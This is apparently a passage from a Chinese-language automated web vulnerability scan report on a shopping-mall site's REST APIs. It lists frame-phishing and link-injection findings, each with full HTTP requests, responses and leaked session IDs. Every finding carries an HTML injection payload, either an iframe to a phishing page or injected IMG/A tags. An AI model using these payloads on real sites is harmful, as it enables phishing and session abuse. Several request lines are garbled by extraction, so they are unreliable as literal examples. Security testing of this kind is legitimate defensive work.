Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:39 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "'"><iframe id=7880 src=http://demo.testfire.net/phishing.html>"
```

问题 **7 / 11** TOC

通过框架钓鱼	
严重性:	#
CVSS 分数:	6.4
URL:	http://vr-base-rest-enterprise.mall.xt.weilian.cn/pubRole/selectVipRoleList
实体:	goodslevelid (Parameter)
风险:	可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: 3 至:

3%27%22%3E%3Ciframe+id%3D7706+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E

推理:测试结果似乎指示存在脆弱性,因为测试响应包含 URL "http://demo.testfire.net/phishing.html" 的 frame/iframe。

测试请求和响应:

```
/pubRole/select \verb|VipRoleList|| 3 \% 27 \% 22 \% 3E \% 3C if rame + id \% 3D 770 6 + src \% 3D http \% 3A \% 2F \% 2F demo. testing the state of the state 
 tfire.net%2Fphishing.html%3E HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-base-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:17 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "3'"><iframe id=7706 src=http://demo.testfire.net/phishing.html>"
```

问题 **8 / 11** Toc

通过框架钓鱼	
严重性:	#
CVSS 分数:	6.4
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	approvaltypeid (Parameter)
风险:	可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: -至:

%27%22%3E%3Ciframe+id%3D7902+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E

推理:测试结果似乎指示存在脆弱性,因为测试响应包含 URL "http://demo.testfire.net/phishing.html" 的 frame/iframe。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
goodsids=\&goodsname=\&opcode=\&goodscode=\&gsbmid=\&approvaltypeid=\&27\&22\&3E\&3Ciframe+id\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\&3D7902+src\%D7902+src\%D7902+src\%D7902+src\%D7902+src\%D7902+src\%D7902+src\%D7902+src\%D7902+src\%D7902+src
 Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E&goodslevelid= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:41 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "'"><iframe id=7902 src=http://demo.testfire.net/phishing.html>"
```

问题 9 / 11 Toc

通过框架钓鱼	
严重性:	#
CVSS 分数:	6.4
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/exportGoodsInfo
实体:	goodslevelid (Parameter)
风险:	可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: -至:

%27%22%3E%3Ciframe+id%3D7955+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E

推理:测试结果似乎指示存在脆弱性,因为测试响应包含 URL "http://demo.testfire.net/phishing.html" 的 frame/iframe。

测试请求和响应:

```
GET /goodsRestApi/exportGoodsInfo?
\verb|goodsids=&goodsname=&opcode=&goodscode=&gsbmid=&approvaltypeid=&goodslevelid=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&3E&3Ciframe+id=&27&22&2E&3Ciframe+id=&27&22&2E&3Ciframe+id=&27&22&2E&3Ciframe+id=&27&22&2E&22&2E&2Ciframe+id=&27&22&2E&2Ciframe+id=&27&22&2E&2Ciframe+id=&27&22&2E&2Ciframe+id=&27&22&2E&2Ciframe+id=&27&22&2E&2Ciframe+id=&
 d%3D7955+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Upgrade-Insecure-Requests: 1
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:21:45 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "'"><iframe id=7955 src=http://demo.testfire.net/phishing.html>"
```

问题 10 / 11 Toc

通过框架钓鱼	
严重性:	#
CVSS 分数:	6.4
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/2
实体:	pageSize (Parameter)
风险:	可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: 15 至:

15%27%22%3E%3Ciframe+id%3D9135+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E

推理:测试结果似乎指示存在脆弱性,因为测试响应包含 URL "http://demo.testfire.net/phishing.html" 的 frame/iframe。

测试请求和响应:

```
GET /order/selectCmsOrderList/2?
{\tt pageNum=1\&pageSize=15\&27\&22\&3E\&3Ciframe+id\&3D9135+src\&3Dhttp\&3A\&2F\&2Fdemo.testfire.net\&2Fphishing}
.html%3E&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:32 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "15'"><iframe id=9135 src=http://demo.testfire.net/phishing.html>"
```

通过框架钓鱼	
严重性:	#
CVSS 分数:	6.4
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/2
实体:	pageNum (Parameter)
风险:	可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

差异: 参数 从以下位置进行控制: 1 至:

1%27%22%3E%3Ciframe+id%3D9201+src%3Dhttp%3A%2F%2Fdemo.testfire.net%2Fphishing.html%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含 URL "http://demo.testfire.net/phishing.html" 的 frame/iframe。

测试请求和响应:

```
/order/selectCmsOrderList/2?pageNum=1 \$27 \$22 \$3E \$3Ciframe+id \$3D9201+src \$3Dhttp \$3A \$2F \$2Fdemo.testfiresterm (a.t.) and the state of the state
e.net%2Fphishing.html%3E&pageSize=15&orderNo=&goodsname= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=ff1d64918bd06bf341f084828da4d7d4
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
X-Requested-With: XMLHttpRequest
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:22:36 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: "1'"><iframe id=9201 src=http://demo.testfire.net/phishing.html>"
```

链接注入 (便于跨站请求伪造)

TOC

问题 1 / 11 Toc

1

链接注入	(便于跨站请求伪造)
严重性:	(
CVSS 分数:	6.4
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsStockList
实体:	pageNum (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息可能会在 Web 服务器上上载、修改或删除 Web 页面、脚本和文件
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/2

差异: 参数 从以下位置进行控制: ① 至:

%22%27%3E%3CIMG+SRC%3D%22%2FWF XSRF7233.html%22%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。 测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
\label{lem:draw=1} draw=1 \& start=0 \& length=15 \& search \$5 B value \$5 D=\& search \$5 B regex \$5 D=false \& pageNum=\$22 \$27 \$3E \$3 C IMG+SRC \$3 B regex \$5 D=false \& pageNum=\$22 \$27 \$3E \$3 C IMG+SRC \$3 B regex \$5 D=false \& pageNum=\$22 \$27 \$3E \$3 C IMG+SRC \$3 B regex \$5 D=false \& pageNum=\$22 \$27 \$3E \$3 C IMG+SRC \$3 B regex \$5 D=false \& pageNum=\$22 \$27 \$3E \$3 C IMG+SRC \$3 B regex \$5 D=false \& pageNum=\$22 \$27 \$3E \$3 C IMG+SRC \$3 B regex \$5 D=false \& pageNum=\$22 \$27 \$3E \$3 C IMG+SRC \$3 B regex \$5 D=false \& pageNum=\$22 \$27 \$3E \$3 C IMG+SRC \$3 B regex \$5 D=false \& pageNum=\$22 \$27 \$3E \$3 C IMG+SRC \$3 B regex \$5 D=false \& pageNum=\$22 \$27 \$3 E \$3 C IMG+SRC \$3 B regex \$5 D=false \& pageNum=\$22 \$27 \$3 E \$3 C IMG+SRC \$3 B regex \$5 D=false \& pageNum=\$22 \$27 \$3 E \$3 C IMG+SRC \$3 B regex \$5 D=false \& pageNum=\$22 \$27 \$3 E \$3 C IMG+SRC \$3 B regex \$5 D=false \& pageNum=\$22 \$27 \$3 E \$3 C IMG+SRC \$3 B regex \$5 D=false \& pageNum=\$22 \$27 B regex \$5 D=false \& pageNum=\$22 \$2 B regex \$5 D=false \& pageNum=\$22 \$2 B regex \$5 D=false \& pageNum=\$22 B regex \$5 D=false \& pag
D%22%2FWF XSRF7233.html%22%3E&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:55 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
 For input string: ""'><IMG SRC="/WF XSRF7233.html">"
```

变体-|2/2

差异: 参数 从以下位置进行控制: 1 至:

\\$22\\$27\\$3E\\$3CA+HREF\\$3D\\$22\\$2FWF_XSRF7234.html\\$22\\$3EInjected+Link\\$3C\\$2FA\\$3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。 测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=%22%27%3E%3CA+HREF%3D
%22%2FWF XSRF7234.html%22%3EInjected+Link%3C%2FA%3E&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:55 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><A HREF="/WF XSRF7234.html">Injected Link</A>"
```

问题 **2 / 11** Toc

链接注入(便于跨站请求伪造)	
严重性:	<u>ф</u>
CVSS 分数:	6.4
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsStockList
实体:	start (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息可能会在 Web 服务器上上载、修改或删除 Web 页面、脚本和文件
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/2

差异: 参数 从以下位置进行控制: 0 至:

%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF7241.html%22%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。 测试请求和响应:

GET /goodsRestApi/getGoodsStockList?
draw=1&start=%22%27%3E%3CIMG+SRC%3D%22%2FWF_XSRF7241.html%22%3E&length=15&search%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36

```
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01 Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:55 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><IMG SRC="/WF XSRF7241.html">"
```

变体-|2/2

差异: 参数 从以下位置进行控制: 0 至:

%22%27%3E%3CA+HREF%3D%22%2FWF_XSRF7244.html%22%3EInjected+Link%3C%2FA%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。 测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=%22%27%3E%3CA+HREF%3D%22%2FWF XSRF7244.html%22%3EInjected+Link%3C%2FA%3E&length=15&s
earch%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin:
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:55 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><A HREF="/WF XSRF7244.html">Injected Link</A>"
```

问题 **3 / 11** Toc

链接注入	(便于跨站请求伪造)
严重性:	<u>ф</u>
CVSS 分数:	6.4
URL:	http://vr-goods-rest-enterprise.mall.xt.weilian.cn/goodsRestApi/getGoodsStockList
实体:	length (Parameter)
风险:	可能会窃取或操纵客户会话和 cookie,它们可能用于模仿合法用户,从而使黑客能够以该用户身份查看或变更用户记录以及执行事务可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息可能会在 Web 服务器上上载、修改或删除 Web 页面、脚本和文件
原因:	未对用户输入正确执行危险字符清理
固定值:	查看危险字符注入的可能解决方案

变体-|1/2

差异: 参数 从以下位置进行控制: 15 至:

%22%27%3E%3CIMG+SRC%3D%22%2FWF XSRF7242.html%22%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。 测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw = 1 \& start = 0 \& length = \$22\$27\$3E\$3CIMG + SRC\$3D\$22\$2FWF XSRF7242.html \$22\$3E\& search\$5Bvalue\$5D = \& search\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bvalue\$5Bva
h%5Bregex%5D=false&pageNum=1&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
{\tt Access-Control-Allow-Headers:} \  \, {\tt x-requested-with, content-type, sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:55 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
 For input string: ""'><IMG SRC="/WF XSRF7242.html">"
```

变体-|2/2

差异: 参数 从以下位置进行控制: 15 至:

%22%27%3E%3CA+HREF%3D%22%2FWF XSRF7245.html%22%3EInjected+Link%3C%2FA%3E

推理: 测试结果似乎指示存在脆弱性,因为测试响应包含文件"WF_XSRF.html"的链接。 测试请求和响应:

```
GET /goodsRestApi/getGoodsStockList?
draw=1&start=0&length=%22%27%3E%3CA+HREF%3D%22%2FWF XSRF7245.html%22%3EInjected+Link%3C%2FA%3E&se
arch%5Bvalue%5D=&search%5Bregex%5D=false&pageNum=1&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 500 Internal Server Error
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:20:55 GMT
Content-Type: text/plain; charset=UTF-8
Transfer-Encoding: chunked
For input string: ""'><A HREF="/WF XSRF7245.html">Injected Link</A>"
```

问题 **4 / 11** Toc

链接注入(便于跨站请求伪造)	
严重性:	#
CVSS 分数:	6.4
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/order/selectCmsOrderList/0
实体:	pageSize (Parameter)
